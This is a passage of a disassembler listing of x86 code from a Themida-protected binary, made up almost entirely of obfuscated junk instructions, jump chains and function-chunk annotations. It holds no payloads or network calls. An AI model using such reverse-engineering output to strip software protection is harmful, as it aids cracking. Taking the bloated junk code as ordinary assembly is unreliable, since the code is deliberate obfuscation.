		mov	esi, [esp]
		jmp	loc_5A4110
; ---------------------------------------------------------------------------


loc_5961FB:				; CODE XREF: Themida_:00594874j
		mov	ebx, 0C614FAB5h
		jmp	loc_592B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_596205:				; CODE XREF: sub_59AB43+Bj
		sub	edx, ebx
		jmp	loc_590D68
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------


loc_59620C:				; CODE XREF: Themida_:005A4ADFj
		mov	ebx, 4
		add	edx, 0B101CEEh
		jmp	loc_5A5A0E
; ---------------------------------------------------------------------------


loc_59621C:				; CODE XREF: Themida_:005919FBj
		pop	eax
		push	dword ptr [esp]
		jmp	loc_597D05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_596225:				; CODE XREF: sub_59C8A4-A119j
		or	ebp, 12F1404Bh
		add	ebp, 36E53852h
		sub	ebx, ebp
		jmp	loc_5919E9
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596238:				; CODE XREF: sub_59390B-2856j
		sub	esi, 22B1358Dh
		add	esi, ebp
		add	esi, 22B1358Dh
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_59957F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598BAA


loc_596252:				; CODE XREF: sub_598BAA+Bj
		add	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		jmp	loc_5A3346
; END OF FUNCTION CHUNK	FOR sub_598BAA
; ---------------------------------------------------------------------------


loc_59625D:				; CODE XREF: Themida_:005A2EE5j
		add	edx, 60872409h
		sub	ebx, 20A6963h
		add	ebx, edx
		add	ebx, 20A6963h
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_59E435
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59628A:				; CODE XREF: Themida_:0059A03Aj
		add	ah, 0FFh
		mov	dl, ah
		mov	eax, [esp]
		jmp	loc_5935A4
; ---------------------------------------------------------------------------


loc_596297:				; DATA XREF: Themida_:005909E8o
		mov	cx, [esp]
		push	3334h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 7612FC4h
		inc	ebp
		sub	ebp, 3D3E01E0h
		shr	ebp, 7
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 53194779h
		shl	eax, 6
		push	edi
		push	597C2753h
		pop	edi
		sub	eax, 54501CDAh
		sub	eax, edi
		add	eax, 54501CDAh
		jmp	loc_599C1C
; ---------------------------------------------------------------------------


loc_5962DE:				; CODE XREF: Themida_:005A01E0j
		add	ecx, ebx
		sub	ecx, 509D4593h
		jmp	loc_593D46
; ---------------------------------------------------------------------------


loc_5962EB:				; CODE XREF: Themida_:0059721Aj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5A2C33
; ---------------------------------------------------------------------------


loc_5962F6:				; CODE XREF: Themida_:005A293Bj
		mov	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		add	dword ptr [esp+8], 1C00DA0h
		sub	[esp+8], ebx
		jmp	loc_59F8AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59630D:				; CODE XREF: sub_59390B+14Ej
		sub	edi, ebx
		jmp	loc_5A2CA2
; ---------------------------------------------------------------------------


loc_596314:				; CODE XREF: sub_59390B+2065j
		sub	ax, 4A96h
		push	edi
		mov	di, 6CB9h
		push	bx
		sub	esp, 4
		mov	[esp+0], eax
		mov	ax, 47Eh
		mov	bx, 40ECh
		add	bx, ax
		jmp	loc_598EA0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596335:				; CODE XREF: Themida_:0059B5DCj
		push	0C657BEEFh
		pop	edi
		add	edi, 3A1C7A5Bh
		jmp	loc_59C87C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596346:				; CODE XREF: sub_59390B+FA7Ej
		mov	[esp+0], ebx
		mov	ebx, 3E380932h
		jmp	sub_5936EC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596353:				; CODE XREF: Themida_:0059FBD6j
		push	dword ptr [esp]
		jmp	loc_5A1D75
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A0CE1
; ---------------------------------------------------------------------------


loc_596370:				; CODE XREF: Themida_:0059BC39j
		add	edi, 4
		sub	edi, 4
		jmp	loc_593569
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596381:				; CODE XREF: sub_59390B+FA73j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_5918DF
; ---------------------------------------------------------------------------


loc_596395:				; CODE XREF: sub_59390B+3390j
		xor	ebx, 7FFF7FEAh
		push	eax
		jmp	loc_59CCC3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5963A1:				; CODE XREF: sub_591FC5+6j
		push	eax
		mov	al, 1Bh
		push	ecx
		mov	cl, al
		jmp	loc_59C766
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_5963AC:				; CODE XREF: Themida_:005A3E71j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0C4F6BEFh
		push	esi
		mov	esi, 68CE0B8Fh
		add	esi, 6DC07A32h
		add	esi, 21851128h
		add	ecx, esi
		pop	esi
		add	edx, 24966B1Bh
		jmp	loc_5A4BAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5963DA:				; CODE XREF: sub_5A17BF+306j
		mov	edx, 11279E0h
		xor	edx, 0D2246504h
		sub	ebp, edx
		pop	edx
		xor	esi, ebp
		pop	ebp
		jmp	loc_591B63
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_5963F0:				; CODE XREF: Themida_:0059E487j
		pop	esp
		push	38C5h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		push	esi
		sub	esp, 4
		mov	[esp], eax
		push	48AE0F83h
		pop	eax
		sub	eax, 143F3ECCh
		jmp	loc_59EF01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596416:				; CODE XREF: sub_59390B-2666j
		mov	esi, 4
		add	ecx, esi
		push	dword ptr [esp+0]
		jmp	loc_59D08C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596425:				; CODE XREF: Themida_:0059FFFCj
		mov	esi, 781F3B0Dh
		sub	ebp, esi
		pop	esi
		pop	ebx
		push	esi
		mov	esi, 70345737h
		dec	esi
		neg	esi
		xor	esi, 88D9D90Fh
		add	edx, esi
		pop	esi
		add	edx, ebp
		jmp	loc_591009
; ---------------------------------------------------------------------------


loc_596447:				; CODE XREF: Themida_:00591529j
		or	ebp, 5ECF1794h
		shr	ebp, 1
		push	ecx
		jmp	loc_5918EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596455:				; CODE XREF: sub_59390B+447j
		xchg	ecx, [esp-1Eh+arg_14+2]
		mov	esp, [esp-1Eh+arg_14+2]
		mov	[esp-1Eh+arg_14+2], esi
		push	edx
		push	414D1D9Fh
		mov	edx, [esp-16h+arg_C+2]
		add	esp, 4
		jmp	loc_59B6F6
; ---------------------------------------------------------------------------


loc_59646F:				; CODE XREF: sub_59390B+809Aj
		add	[ecx], ebx
		jmp	loc_59AA9D
; ---------------------------------------------------------------------------


loc_596476:				; CODE XREF: sub_59390B+997Dj
		mov	[esp-1Ah+arg_10+2], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		jmp	loc_5A5492
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59648E:				; CODE XREF: Themida_:00595235j
		add	esp, 4
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5A5A68
; ---------------------------------------------------------------------------


loc_5964A9:				; CODE XREF: Themida_:005A5A8Fj
		push	edi
		jmp	loc_596A6F

; =============== S U B	R O U T	I N E =======================================



sub_5964AF	proc near		; CODE XREF: sub_59390B+AA85j

var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00590B5F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005918CC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005929BF SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059334B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059508E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059917C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005994C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599883 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B073 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059B15A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B325 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D0F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FAE8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3524 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3823 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A46E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4789 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A489A SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_59FAE8
sub_5964AF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5964B7	proc near		; DATA XREF: Themida_:00590A04o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592D5F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005947EA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594903 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594A06 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00595D7D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00597F18 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059E02C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059E993 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2D6E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3CBA SIZE 00000009 BYTES

		movzx	ax, byte ptr [edx]
		push	7497h
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		jmp	loc_5A3CBA
sub_5964B7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5964CB:				; CODE XREF: sub_59FCCB-6D2Ej
		add	ebx, edi
		push	5E1Ch
		mov	[esp+10h+var_10], edx
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		jmp	loc_59B6D8
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_5964E0:				; CODE XREF: sub_5A085D-F1B1j
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59EE14
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------


loc_5964EF:				; CODE XREF: Themida_:0059A916j
		sub	eax, 393A4D45h
		mov	edi, eax
		pop	eax
		push	edi
		mov	edi, 0D495563h
		sub	edi, 0AA1EE2AFh
		add	edx, edi
		pop	edi
		jmp	loc_5A4369
; ---------------------------------------------------------------------------


loc_59650B:				; CODE XREF: Themida_:005937B5j
		mov	edi, 4C203C2Eh
		add	edi, 0B3DFC3D6h
		add	ebp, 0BCA1FD7h
		add	ebp, edi
		push	ebx
		mov	ebx, 2452A61h
		add	ebx, 73EC6433h
		jmp	loc_59FB2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59652F:				; CODE XREF: sub_59FD45+4BA0j
		add	esp, 4
		push	[esp+8+var_8]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_59A1CF
; END OF FUNCTION CHUNK	FOR sub_59FD45

; =============== S U B	R O U T	I N E =======================================



sub_59654E	proc near		; CODE XREF: sub_59390B+154Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005917B2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592010 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059276C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592EB3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594C92 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595A0A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059686D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00596BDC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00596E00 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00597987 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005983AC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599A3B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00599EBA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B769 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BDA4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BE52 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DC04 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E7DE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F081 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A147E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A428D SIZE 00000021 BYTES

		push	ebp
		mov	ebp, 2B334DCAh
		add	ebp, 0D4CCB23Ah
		add	ecx, ebp
		jmp	loc_594C92
sub_59654E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596561:				; CODE XREF: sub_59390B+A7B9j
		mov	ebp, [esp-16h+arg_C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_590FE0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59657B:				; CODE XREF: Themida_:00599634j
		shr	cl, 5
		xor	cl, 0FAh
		jmp	loc_591A29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_596586:				; CODE XREF: sub_59FCCB-E336j
		mov	bh, 0C1h
		xor	bh, dh
		jmp	loc_5927B1
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_59658F:				; CODE XREF: Themida_:00594CB9j
		sub	esi, 358465D8h
		add	esi, ebx
		add	esi, 358465D8h
		mov	ebx, [esp]
		jmp	loc_5981B8
; ---------------------------------------------------------------------------


loc_5965A5:				; CODE XREF: Themida_:005A160Aj
		mov	ecx, 0B440045h
		push	edi
		mov	edi, ecx
		mov	edx, edi
		pop	edi
		pop	ecx
		add	edx, 6E2B7D5Eh
		push	ebp
		mov	ebp, 36C0034h
		and	ebp, 79423C1Dh
		dec	ebp
		jmp	loc_5A02F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_5965C9:				; CODE XREF: sub_59F53F+50A2j
		pop	esp
		mov	[esp-8+arg_4], eax
		jmp	loc_597FE1
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------


loc_5965D2:				; CODE XREF: Themida_:0059567Dj
		or	eax, 7A0E6C9Ch
		not	eax
		push	ebp
		push	edx
		push	67B9789Fh
		pop	edx
		sub	edx, 52414902h
		sub	edx, 1D2B319Ch
		sub	edx, 729C7CDDh
		mov	ebp, edx
		pop	edx
		sub	eax, ebp
		pop	ebp
		sub	edi, eax
		pop	eax
		neg	edi
		add	edi, 112F3159h
		sub	ecx, 320427D4h
		jmp	loc_5A32F4
; ---------------------------------------------------------------------------


loc_59660F:				; CODE XREF: Themida_:00595023j
		sub	esi, 61D11B64h
		shr	esi, 5
		shr	esi, 8
		shr	esi, 6
		xor	esi, 4D0771ACh
		sub	ecx, 32780130h
		sub	ecx, esi
		push	edi
		mov	edi, 665D4D87h
		add	edi, 498B77FAh
		or	edi, 6E5B70F3h
		neg	edi
		push	ebp
		mov	ebp, 3240BF9h
		shr	ebp, 2
		add	ebp, 455F19FDh
		dec	ebp
		add	ebp, 0DC4BDA29h
		add	edi, ebp
		pop	ebp
		add	ecx, edi
		pop	edi
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5A1CF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596676:				; CODE XREF: sub_59390B-2CB3j
		mov	[esp+0], edx
		push	ebx
		jmp	loc_599FB4
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59667F	proc near		; CODE XREF: sub_59390B+58Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C385 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0CC2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A26F8 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_5A26F8
sub_59667F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59668D:				; CODE XREF: sub_59390B+8E7Dj
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_596692:				; CODE XREF: sub_5A3F6E-567Bj
		add	esp, 4
		push	ebx
		mov	ebx, 61063594h
		xor	ebx, 56106F10h
		or	ebx, 333B6877h
		and	ebx, 5ACA1150h
		push	76F6h
		mov	[esp+4+var_4], ecx
		mov	ecx, 0EDF5EFB4h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5A37BF
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_5966C2:				; CODE XREF: sub_5A3536-35Bj
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		push	ebp
		mov	ebp, 668F2796h
		xor	ebx, ebp
		jmp	loc_5A1B54
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5966D9:				; CODE XREF: sub_5A4CDD-12C51j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+0]
		pop	esp
		push	edi
		jmp	loc_595476
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598DC3


loc_5966E6:				; CODE XREF: sub_598DC3+CAAEj
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		add	ebx, 4
		sub	ebx, 2
		xor	ebx, [esp+0]
		jmp	loc_59F27F
; END OF FUNCTION CHUNK	FOR sub_598DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_596703:				; CODE XREF: sub_59CAFB+8BDFj
		sub	ecx, 0C0C26223h
		sub	eax, ecx
		jmp	loc_5A0342
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596710:				; CODE XREF: sub_59390B+3A65j
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59D2FA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_59671B:				; CODE XREF: sub_590BDF+45ADj
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A35FB
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596729:				; CODE XREF: sub_59390B+1202Cj
		sub	ecx, 0E5D175Ch
		add	ecx, edx
		push	ebp
		mov	ebp, 0E5D175Ch
		add	ecx, ebp
		pop	ebp
		sub	ecx, 50991437h
		push	dword ptr [esp+0]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		add	edi, ecx
		mov	ecx, [esp+0]
		jmp	loc_5A2BCC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_596761:				; CODE XREF: sub_592586+E550j
		add	esp, 4
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	ebx
		mov	ebx, 71092677h
		xor	edx, ebx
		push	[esp-4+arg_0]
		pop	ebx
		jmp	sub_59A25D
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_59677E:				; CODE XREF: sub_59338E+6701j
		mov	[esp+8+var_8], ebp
		push	eax
		mov	eax, 6AC737EEh
		jmp	loc_590F65
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------


loc_59678C:				; CODE XREF: Themida_:00593157j
		pop	ebx
		push	eax
		mov	eax, 61084B32h
		sub	eax, 18127308h
		xor	eax, 303D336Eh
		add	eax, 0F1A0451Bh
		sub	ebx, eax
		pop	eax
		pop	eax
		shr	ebx, 7
		neg	ebx
		sub	ebx, 0E3FB68DDh
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 36711D73h
		jmp	loc_59CD1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_5967C7:				; CODE XREF: sub_5995FC+483Dj
		mov	ah, bl
		pop	ebx
		add	ch, ah
		mov	ax, word ptr [esp+2+var_4+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+6+var_8+2]
		pop	esp
		jmp	loc_592E41
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_5967E8:				; CODE XREF: Themida_:005A325Aj
		push	edi
		mov	edi, 13097CEAh
		sub	[esp+0Ch], edi
		pop	edi
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4A720F40h
		add	[esp+8], ecx
		pop	ecx
		mov	edx, [esp]
		push	3FDDh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_593949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596826:				; CODE XREF: sub_59390B+2EBj
		sub	ebx, 170B007Bh
		add	ebx, edx
		add	ebx, 170B007Bh
		push	4733h
		mov	[esp-0Ch+arg_4], edx
		mov	edx, 0
		sub	edx, 9A5B52h
		jmp	loc_591CA6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59684C:				; CODE XREF: Themida_:0059B141j
		mov	bh, 0AAh
		not	bh
		jmp	loc_5A1BFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF8


loc_596855:				; CODE XREF: sub_5A4CF8-11492j
		and	eax, 663B5B16h
		jmp	sub_59F4E7
; END OF FUNCTION CHUNK	FOR sub_5A4CF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59685F:				; CODE XREF: sub_591FE1+59B2j
		shl	edx, 3
		xor	edx, 707A334Ch
		jmp	sub_5A16B7
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59686D:				; CODE XREF: sub_59654E-4D9Bj
		mov	esi, 2B41651Ch
		neg	esi
		dec	esi
		shr	esi, 4
		sub	esi, 5E7E15D4h
		sub	esi, 0AECDD3D6h
		mov	edx, esi
		pop	esi
		sub	ecx, 3C452F21h
		sub	ecx, edx
		push	esi
		jmp	loc_59B769
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596895:				; CODE XREF: sub_59390B+92D0j
		add	esp, 4
		jmp	loc_5913CF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59689D:				; CODE XREF: Themida_:00599B44j
		xchg	ebp, ecx
		sub	esp, 4
		jmp	loc_5A0B86
; ---------------------------------------------------------------------------


loc_5968AA:				; CODE XREF: Themida_:0059F8A6j
		push	ebx
		push	ecx
		mov	ch, 90h
		mov	bl, ch
		pop	ecx
		xor	bl, 6Eh
		sub	bl, 49h
		jmp	loc_59DDFF
; ---------------------------------------------------------------------------


loc_5968BC:				; CODE XREF: Themida_:005A05E3j
		xchg	ebp, edi
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		jmp	loc_59AB0A
; ---------------------------------------------------------------------------


loc_5968C9:				; CODE XREF: Themida_:005A5310j
		xor	cl, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_594E38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5968E1:				; CODE XREF: sub_59390B+5411j
		mov	[esp-10h+arg_8], ebx
		push	7656h
		mov	[esp-0Ch+arg_4], ebp
		push	36127B59h
		mov	ebp, [esp-8+arg_0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_5A4A8D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59690B:				; CODE XREF: Themida_:0059E75Fj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_592C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_59691A:				; CODE XREF: sub_59A4D6+8459j
		pop	esp
		push	[esp+8+var_8]
		pop	esi
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	4A1Eh
		mov	[esp+10h+var_10], esi
		mov	esi, 4
		jmp	loc_5A2569
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_59693A:				; CODE XREF: sub_599F38+9j
		push	7A3h
		mov	[esp+8+var_8], esp
		push	edi
		mov	edi, 4
		jmp	loc_59CF97
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------


loc_59694D:				; CODE XREF: Themida_:00590E7Cj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	edx
		push	4D7h
		mov	[esp], ebx
		mov	ebx, 2
		push	17CBh
		mov	[esp], ebx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 25813EB2h
		add	ebx, edx
		push	edx
		jmp	loc_599A03
; ---------------------------------------------------------------------------


loc_59698C:				; CODE XREF: Themida_:0059B3D4j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59CF7D
; ---------------------------------------------------------------------------


loc_596995:				; DATA XREF: Themida_:005909D0o
		mov	ax, [esp]
		jmp	loc_5A2C81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59699E:				; CODE XREF: sub_59390B-8B0j
		push	esi
		mov	esi, ebp
		push	esi
		sub	esp, 4
		mov	[esp+2+var_4+2], edi
		mov	edi, 17F7740h
		xor	[esp+4], edi
		jmp	loc_59CDEE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5969B6:				; CODE XREF: sub_59CFD4-83E8j
		shr	edx, 5
		neg	edx
		shl	edx, 1
		add	edx, 476232Ch
		jmp	loc_592E08
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5969C8:				; CODE XREF: sub_59918B+6E61j
		push	edx
		push	esp
		pop	edx
		jmp	loc_5A3326
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_5969D0:				; CODE XREF: Themida_:0059AD30j
		pop	esi
		push	esi
		mov	esi, 2
		jmp	loc_598DA1

; =============== S U B	R O U T	I N E =======================================



sub_5969DC	proc near		; DATA XREF: Themida_:00590A1Co

